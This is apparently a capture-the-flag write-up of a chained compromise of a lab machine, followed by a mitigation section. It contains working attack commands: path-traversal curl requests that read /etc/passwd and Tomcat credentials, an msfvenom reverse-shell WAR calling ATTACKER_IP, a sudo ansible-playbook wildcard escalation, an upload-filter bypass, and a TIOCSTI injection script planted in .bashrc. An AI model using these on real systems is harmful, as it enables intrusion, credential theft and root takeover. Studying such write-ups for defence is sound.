Exploring multi-layered vulnerabilities, privilege-escalation paths, and defensive takeaways through a realistic, chained-attack scenario.

1️⃣ Initial Enumeration — Mapping the Attack Surface

Every assessment starts with a simple question: *What is exposed?*

A full TCP scan reveals the services running on the target:

nmap -sC -sV -p- <TARGET_IP>

🔎 Open Ports Identified

| Port | Service | Notes |
| - - - | - - - - -| - - - -|
| 22 | SSH | Standard remote access |
| 8080 | HTTP | Apache Tomcat 8.5.93 |
| 8888 | HTTP | Aria2 WebUI / Custom Application |

Multiple web services immediately suggest potential attack vectors. The objective now is to enumerate each one methodically.

2️⃣ Web Enumeration — Finding the Entry Point

🌐 Port 8080 — Apache Tomcat

The following endpoints were exposed:

• /manager
• /host-manager

Both required authentication.

⚠️ Why this matters: If valid credentials are obtained, Tomcat Manager allows WAR file deployment — effectively granting remote code execution (RCE).

🌐 Port 8888 — Custom Web Application

The /flags endpoint returned a 500 Internal Server Error. A 500 error encountered during file-style access often indicates issues with backend file handling. When paired with path testing, this strongly points to a Directory Traversal vulnerability.

This becomes the primary attack vector.

3️⃣ Exploiting Aria2 Path Traversal — Information Disclosure

The Aria2 WebUI failed to properly sanitize directory traversal sequences, leaving it vulnerable to path manipulation attacks.

🔑 Why --path-as-is Matters

Normally, curl resolves ../ locally before sending the request. Using --path-as-is ensures traversal sequences are delivered untouched to the server.

📥 Extract System Users

curl - path-as-is http://TARGET_IP:8888/../../../../../../etc/passwd

This confirms the presence of local users, including `tomcat`.

📥 Extract Tomcat Credentials

curl - path-as-is http://TARGET_IP:8888/../../../../../../opt/tomcat/conf/tomcat-users.xml

🎯 Credentials Recovered

tomcat : [REDACTED]

We’ve now transitioned from information disclosure to authenticated service access.

4️⃣ Tomcat WAR Deployment — Establishing a Foothold

With valid credentials, Tomcat Manager becomes our execution vector.

Generate a reverse shell WAR payload:

msfvenom -p java/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=1234 -f war -o shell.war

Upload via /manager, trigger the application, and catch the shell:

nc -lvnp 1234

🟢 Result

Shell access as:

tomcat

Initial foothold secured.

5️⃣ Privilege Escalation: Tomcat → Wilbur (Wildcard Abuse)

Enumeration revealed a sudo configuration allowing: /usr/bin/ansible-playbook /opt/test_playbooks/*.Because wildcards were permitted and directory traversal wasn’t restricted, we can execute playbooks outside the intended directory.

🛠 Malicious Playbook

echo "- hosts: localhost
 tasks:
 - name: Escalate to wilbur
 command: /bin/bash -c 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash'" > /tmp/privesc.yml
chmod 644 /tmp/privesc.yml
sudo -u wilbur /usr/bin/ansible-playbook /opt/test_playbooks/../../tmp/privesc.yml
/tmp/bash -p

🟢 Result

Shell obtained as:

wilbur

6️⃣ Credential Discovery — Preparing to Pivot

Inside Wilbur’s home directory:

cat /home/wilbur/.just_in_case.txt
cat /home/wilbur/from_orville.txt

🎯 Credentials Found

[email protected] : [REDACTED]

These credentials unlock access to an internal application.

7️⃣ SSH Port Forwarding — Reaching Internal Services

Orville’s Gallery was bound to:

127.0.0.1:80

This made it inaccessible externally.

Using SSH local port forwarding:

ssh -L 8081:localhost:80 wilbur@TARGET_IP

The service is now reachable at:

http://localhost:8081

The service is now reachable at http://localhost:8081.

8️⃣ Gallery Upload Exploitation — Wilbur → Orville

The Gallery blocked `.php` uploads using extension-based filtering.

However, validation relied on inconsistent decoding.

⚠️ The Weakness: Double Encoding

1. The frontend decodes the filename once.
2. The backend decodes it again.
3. The second decode reveals the executable .php extension.

🛠 Payload Preparation

cp shell.jpg.php %253%253%253%253%253%253%253%253shell.jpg.php

After upload and execution:

🟢 Result

Shell access as:

orville

9️⃣ Orville → Root: TTY Pushback (TIOCSTI Abuse)

Process monitoring with pspy revealed:

root executes: su - orville

When su runs in the same terminal, parent and child processes share a TTY. This allows keystroke injection using the TIOCSTI ioctl.

🔥 Exploit Script (/dev/shm/backtoroot.py)

python
import fcntl, termios, os, signal
os.kill(os.getppid(), signal.SIGSTOP)
for char in 'chmod +s /bin/bash\n':
 fcntl.ioctl(0, termios.TIOCSTI, char)

📌 Trigger Execution

echo 'python3 /dev/shm/backtoroot.py' >> /home/orville/.bashrc

When root logs in, the session freezes, the injected command executes, and the SUID bit is set on /bin/bash.

🏆 Final Verification

ls -l /bin/bash
-rwsr-sr-x
/bin/bash -p
id
uid=1003(orville) euid=0(root)

Root access achieved.

🎯 Attack Chain Overview

Port 8888 Path Traversal
 ↓
Tomcat Credential Disclosure
 ↓
Tomcat WAR Deployment (RCE)
 ↓
Wildcard Sudo Abuse (Ansible)
 ↓
Credential Discovery
 ↓
SSH Port Forwarding
 ↓
File Upload Double Encoding
 ↓
TTY Injection (TIOCSTI)
 ↓
ROOT

# 🔐 Defensive & Mitigation Breakdown
This attack chain highlights how minor misconfigurations, when chained together, result in total system compromise. Below is a breakdown of the vulnerabilities identified during the assessment and their respective remediations.
### 🛡️ Aria2 Path Traversal
**Cause:** Insufficient input validation and failure to sanitize URI paths before processing file requests.
**Mitigation:** - Normalize Paths: Ensure the application resolves the absolute path and validates it against a restricted base directory.
- Input Filtering: Reject any requests containing traversal sequences (e.g., ../).
- Containerization: Isolate web services in unprivileged containers to limit filesystem access.
### 🛡️ Sensitive File Exposure
**Cause:** Storing plaintext credentials (such as tomcat-users.xml) in locations accessible via filesystem vulnerabilities.
**Mitigation:** - Secret Management: Use dedicated vaulting solutions (like HashiCorp Vault) instead of hardcoding credentials in configuration files.
- File Permissions: Apply the Principle of Least Privilege (PoLP) to configuration files so only the service owner can read them.
### 🛡️ Tomcat Manager Exposure
**Cause:** Administrative interfaces exposed to the public internet with default or predictable paths.
**Mitigation:** - Network Restriction: Disable the Manager app in production or restrict access to specific internal IP addresses/VPNs.
- MFA: Enforce strong, multi-factor authentication for all administrative consoles.
### 🛡️ Sudo Wildcard Abuse
**Cause:** Overly broad sudoers rules that utilized wildcards, enabling path traversal to execute scripts outside of intended directories.
**Mitigation:** - Absolute Paths: Avoid wildcards in sudo entries. Define the exact, absolute path to the intended executable.
- Regular Audits: Use tools like sudo -l or automated security scanners to audit the sudoers file for logic flaws.
### 🛡️ Credential Reuse
**Cause:** Using the same password across multiple accounts or services (e.g., Wilbur and Orville).
**Mitigation:** - Rotation Policies: Enforce periodic password changes across the organization.
- Unique Identity: Ensure every service account and user has a unique, non-overlapping credential set.
### 🛡️ SSH Port Forwarding Exposure
**Cause:** Implicitly trusting localhost-bound services and allowing users to tunnel external traffic to internal ports.
**Mitigation:** - Hardened SSH Config: Restrict AllowTcpForwarding in sshd_config for non-administrative users.
- Internal Auth: Treat 127.0.0.1 as untrusted; internal applications should still require robust authentication.
### 🛡️ File Upload Bypass (Double Encoding)
**Cause:** Inconsistent decoding logic between the security filter (frontend) and the file processor (backend).
**Mitigation:** - Content Validation: Validate files based on Magic Bytes (MIME type) rather than just extensions.
- Execution Prevention: Store uploaded files on a separate volume mounted with the noexec flag.
### 🛡️ TIOCSTI Injection (TTY Pushback)
**Cause:** Shared TTY during a privileged su session, allowing a lower-privileged user to inject characters into the parent’s input buffer.
**Mitigation:** - Kernel Hardening: Disable legacy TIOCSTI support by setting dev.tty.legacy_tiocsti = 0 in sysctl.
- Secure Transition: Use sudo instead of su where possible, as sudo can be configured to allocate a new TTY, preventing pushback.

Closing Thoughts

This machine is a strong reminder that small misconfigurations rarely exist in isolation. Individually, none of these flaws is catastrophic. Combined, they create a clear and complete path to the root.

Defense-in-depth isn’t optional — it’s essential.